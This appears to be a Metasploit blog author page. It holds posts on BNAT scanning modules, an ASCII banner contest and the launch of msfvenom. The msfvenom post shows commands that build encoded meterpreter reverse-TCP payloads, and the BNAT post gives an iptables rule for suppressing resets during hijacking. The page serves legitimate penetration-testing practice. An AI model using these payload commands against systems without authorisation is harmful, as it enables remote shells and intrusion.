Skip navigation
All Places > Metasploit > Blog > Authors bannedit


3 Posts authored by: bannedit

An interesting thing happened to me this year while at Defcon 19. I was in the shwag line waiting for some friends to pick out some items for their order when all of a sudden I saw a rather familiar face. At first I had no idea who he was but we both just looked at each other for a second and finally he came up to me and said "You look very familiar do I know you?". After talking for a minute I realized this was one of my friends from back home in Upstate NY, Jonathan Claudius. I actually used to ride the school bus with him and he lived about half a mile away from my house. I lived in a small town so this chance encounter was pretty mind blowing. In fact the population of the area I grew up in was roughly 12,000 according to a survey in 2009. Pretty small compared to the nearest city which had a population of 200,000 according to the same survey in 2009.


What does all this have to do with Metasploit? Well Jonathan was giving a Skytalk at Defcon and wanted me to come see his presentation. I made sure I went to the talk to see what he had been up to. It turns out his talk really impressed me. He had come up with a way of dealing with broken NAT implementations which will sometimes reply to a request with a different IP address rather than the original destination IP. This causes the communication channel to be dropped because the client does not expect this reply to come from another IP address and just sends a RST(reset) packet to the host that replied.


When you run into one of these broken implementations nmap will usually show the port your trying to reach as "filtered". Most people simply think this means the port is firewalled off and unreachable. But Jonathan, came up with a set of tools which can detect BNAT(broken NAT) implementations, and repair the communications. The tools basically listen for replies to the initial request made to detect if another IP address replies. Fixing up the communication is the next step, he wrote a tool which will fix up the source IP address of the incoming replies so that the client can handle the communications as normal.


Originally, the BNAT tools were written in ruby and using todb's PacketFu. The tools were standalone and sitting in a GIT repository. When I saw Jonathan's talk I asked him why not make the tools into modules for Metasploit. We already include the needed library, PacketFu, so porting the tools over was just a matter of cleaning up the code a little and throwing it into a module template. Jonathan wanted to port the tools over but he had never developed for Metasploit before so he needed some help. So, one night I called him up on the phone and we worked on porting the tools over for a few hours. A few days later the tools were in the Metasploit SVN repository ready for use by everyone!


The following video demos the tools and shows how a "filtered" port might actually lead to gaining access to a network:


Hopefully, after seeing the demo you can see the full potential these modules might bring to external pentests. We started out with a nmap scan which just showed the port as "filtered" and we managed to fix up the communication channel, and finally exploit a vulnerability. The purpose of this demo was to show that in networking, sometimes things are not always as they seem. A filtered/closed port can sometimes be really be open you just need to know how to communicate with it.


There are however, some caveats you need to consider when performing BNAT scanning and hijacking that make it a little harder than your normal everyday symmetric TCP communication exploit.


  1. You need IPTables or a host-based firewall to selectively suppress reset packets or your BNAT sessions can be prematurely reset.  In IPTables it can be done as follows as a preliminary setup on the Router host.
    • iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP 
  2. In order to perform scanning activities over the public Internet, you need to be bridged to the Internet and not behind any firewall/nat service that would enforce state or you will not even notice when you trigger BNAT because that service will prevent us from completing the session.


As always, if your interested in this and want to discuss it further you can reach us on #metasploit or follow us on twitter @claudijd and @msfbannedit.

Are you an artist?  Do you possess mad ASCII art skills?  Do you like the idea of having your artwork on the face of an open source project that's one of the world's largest, de-facto standard for penetration testing with more than one million unique downloads per year?  Then read on!


One of the first things many people likely noticed when updating to the Metasploit Framework version 4.0-testing was the new ASCII art. In addition to all the new awesome features we have been adding to Metasploit lately we wanted to give Metasploit a new look and appearance. When version 4.0-test first came out we had roughly 5 or 6 new banners. Slowly we have been adding to that number.  Now is your chance to make your mark on the Metasploit Project.


The Metasploit team would like to encourage the talented folks from every corner of the community to join the ASCII art fun, and submit your most awesome, creative banners to us. All submissions should be uploaded to either Metasploit Redmine (, or e-mailed to If selected, your artwork will be committed in our banner.rb file, together with the following banners that we currently have:



Kernel panic.pngR7-Metasploit.png3Kom Superhack.pngI Love Shells.pngMetasploit Bull.pngModern Cowsay.png


For questions, as always, please feel free to drop by our IRC channel (#metasploit on

Introducing msfvenom

Posted by bannedit May 24, 2011

The Metasploit Framework has included the useful tools msfpayload and msfencode for quite sometime. These tools are extremely useful for generating payloads in various formats and encoding these payloads using various encoder modules. Now I would like to introduce a new tool which I have been working on for the past week, msfvenom. This tool combines all the functionality of msfpayload and msfencode in a single tool.


Merging these two tools into a single tool just made sense. It standardizes the command line options, speeds things up a bit by using a single framework instance, handles all possible output formats, and brings some sanity to payload generation.


The usage of msfvenom is fairly straight forward:

fahrenheit:msf3 bannedit$ ./msfvenom -h
Usage: ./msfvenom [options] <var=val>

    -p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
    -n, --nopsled    [length]        Prepend a nopsled of [length] size on to the payload
    -f, --format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war
    -e, --encoder    [encoder]       The encoder to use
    -a, --arch       [architecture]  The architecture to use
        --platform   [platform]      The platform of the payload
    -s, --space      [length]        The maximum size of the resulting payload
    -b, --bad-chars  [list]          The list of characters to avoid example: '\x00\xff'
    -i, --iterations [count]         The number of times to encode the payload
    -x, --template   [path]          Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -h, --help                       Show this message


All these options are mappings of the msfpayload and msfencode options. Some minor things were changed to standardize things a bit. One change was the method of specifying the payload. The -p flag must be used to set the payload. The var=val pairs used to setup the datastore options for the payload still work the same way as msfpayload and can occur anywhere within the command line. 


Here is an example of using the tool to encode a meterpreter/reverse_tcp payload:


fahrenheit:msf3 bannedit$ msfvenom -p windows/meterpreter/reverse_tcp -f ruby -e -i 3 -s 480 LHOST=
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
buf = 


The above example generates a meterpreter/reverse_tcp payload in the ruby output format. The payload is encoded three times using shikata_ga_nai which was automatically choosen based on the encoder modules ranking. The -s option specifies the output should not exceed 480 bytes. Finally the LHOST= portion of the command sets the LHOST variable for use with in the payload.


The following shows a quick speed comparison of the tools performing the same task:


fahrenheit:msf3 bannedit$ time ./msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST= -f ruby 1> /dev/null
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)

real    0m2.744s
user    0m2.380s
sys    0m0.367s

fahrenheit:msf3 bannedit$ time ./msfpayload windows/meterpreter/reverse_tcp LHOST= R|./msfencode -c 3 1> /dev/null
[*] x86/shikata_ga_nai succeeded with size 321 (iteration=1) 
[*] x86/shikata_ga_nai succeeded with size 348 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 375 (iteration=3) 

real    0m3.070s
user    0m4.227s
sys    0m0.778s


We can see msfvenom is slightly faster due to the use of a single framework instance.


The tool is still in its infancy and I am sure there are still a few bugs, so don't hesitate to give me feedback. If you find a bug or have a feature idea feel free to make a redmine ticket on We will be shipping msfpayload and msfencode as a fallback until msfvenom has matured a little more.

Filter Blog

By date: By tag: